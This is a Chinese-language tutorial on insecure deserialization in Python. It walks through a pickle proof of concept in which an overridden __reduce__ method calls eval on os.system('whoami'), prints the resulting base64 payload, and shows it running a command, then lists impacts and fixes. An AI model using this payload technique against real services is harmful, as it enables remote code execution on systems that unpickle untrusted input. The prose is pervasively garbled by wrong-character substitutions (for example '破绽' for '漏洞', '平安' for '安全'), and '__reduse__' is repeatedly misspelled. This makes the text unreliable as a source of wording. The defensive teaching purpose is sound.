共计 3649 个字符,预计需要花费 10 分钟才能阅读完成。
1.1. 什么是序列化和反序列化
序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同零碎之间进行传输或存储,并在须要时从新结构。
序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节能够依照肯定的协定进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其余零碎。序列化后的字节流能够被保留下来,当前能够通过反序列化操作从新构建对象并复原其状态和数据。
反序列化是指将序列化后的字节流转换回对象或数据结构的过程。在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保留的对象或接管通过网络传输的序列化数据。通过反序列化,能够从新构建对象并复原其之前序列化的状态和数据。
序列化和反序列化在许多畛域都有宽泛的利用,例如分布式系统、长久化存储、缓存机制以及跨平台通信。它们容许将简单的对象或数据结构转换为字节流进行传输或存储,从而实现不同零碎之间的数据交换和共享。
1.2. 破绽介绍
不平安的反序列化是指在反序列化过程中存在潜在平安危险的状况,如果序列化的内容可控,在传递给利用进行反序列化时,可能会导致执行恶意代码或触发其余不受管制的行为。
以下是一些常见的不平安反序列化的状况:
- 不受限制的反序列化:如果反序列化操作没有适当的验证和限度,容许任意的序列化数据被反序列化,攻击者能够结构歹意的序列化数据来执行恶意代码。
- 未经过滤的输出:如果反序列化操作承受未经过滤的输出数据,攻击者能够通过结构特定的歹意数据来执行命令或导致不受管制的行为。
- 自定义的反序列化逻辑:如果应用自定义的反序列化逻辑而不是应用平安的序列化库或框架,可能会导致平安问题。自定义逻辑可能不足必要的平安验证和过滤步骤,从而容易受到攻打。
- 歹意的序列化数据:如果攻击者可能在反序列化操作中提供歹意结构的序列化数据,可能会导致命令执行或其余不受管制的行为。
1.3. 复现过程
网上大多是采纳的 php 进行复现,一搜一大堆,这里咱们用 Python 的 pickle
模块来进行复现。
1.3.1. pickle 模块介绍
参考 doc,可见是一个序列化模块。
根底应用如下:
import pickle
# 定义一个对象
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
# 创立一个 Person 对象
person = Person("d4m1ts", 18)
# 序列化对象
serialized_data = pickle.dumps(person)
# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")
# 反序列化数据
deserialized_person = pickle.loads(serialized_data)
# 拜访反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}") # 输入: d4m1ts
print(f"age: {deserialized_person.age}") # 输入: 18
1.3.2. 魔术办法 __reduce__()
在 Python 中,__reduce__()
是一个非凡办法,用于定义对象的序列化行为。当应用 pickle
模块对对象进行序列化和反序列化时,__reduce__()
办法会被调用。
__reduce__()
办法应该返回一个元组()
,其中蕴含两个或三个元素。元组的第一个元素是用于从新构建对象的函数,第二个元素是传递给构建函数的参数(通常是一个元组),而第三个元素(可选)是用于复原对象状态的可迭代对象。
简略来说,咱们能够通过重写 __reduse__()
函数,来批改数据反序列化的形式。
批改方才的代码,举例如下:
import pickle
# 定义一个对象
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def __reduce__(self):
print("Calling __reduce__()")
# return (self.__class__, (self.value,))
return (print, ("reduse poc test",))
# 创立一个 Person 对象
person = Person("d4m1ts", 18)
# 序列化对象
serialized_data = pickle.dumps(person)
# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")
# 反序列化数据
deserialized_person = pickle.loads(serialized_data)
# 拜访反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}") # 输入: d4m1ts
print(f"age: {deserialized_person.age}") # 输入: 18
可见在反序列化的时候,调用的是咱们重写时用的 print
办法。
1.3.3. 破绽场景举例复现
假如破绽场景代码如下,其中 userInput
是咱们能够管制输出的中央:
import pickle
import base64
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
userInput = ""
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
根据上述代码,结构 POC 代码,生成序列化的内容,其中编写 __reduse__()
函数如下:
import pickle
import base64
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def __reduce__(self):
return (eval, ('__import__("os").system("whoami")',))
person = Person("d4m1ts", 18)
serialized_data = pickle.dumps(person)
print(base64.b64encode(serialized_data).decode())
失去 payload 为:gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu
把 payload 插入破绽场景测试一下:
import pickle
import base64
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
userInput = "gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu"
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
可见胜利执行了系统命令。
总结一下复现过程,就是写一个
__reduse__
函数来扭转反序列化的行为即可。
1.4. 破绽危害
- 近程代码执行:攻击者能够通过结构歹意序列化数据注入和执行任意代码,从而齐全控制目标零碎,并执行歹意操作。
- 近程命令执行:攻击者能够通过反序列化破绽在指标零碎上执行近程命令,从而对其余零碎或网络资源造成进一步的威逼。
- 信息泄露:攻击者能够利用反序列化破绽读取和获取指标零碎中的敏感信息,例如数据库凭据、用户明码、加密密钥等。
- 拒绝服务(DoS)攻打:攻击者能够发送歹意序列化数据来触发异样或耗费过多的系统资源,导致系统解体或无奈提供失常的服务。
1.5. 修复倡议
- 应用平安的序列化库或框架,这些库通过严格测试和审查,并提供了适当的平安防护机制。
- 对反序列化输出进行严格的验证和过滤,只承受预期的数据格式和内容。
- 不要从不受信赖的起源承受序列化数据,尽量限度数据起源。
- 定期更新和修复序列化库和相干组件,以获取最新的平安修补程序。
- 配置零碎和应用程序的平安设置,限度恶意代码执行的可能性。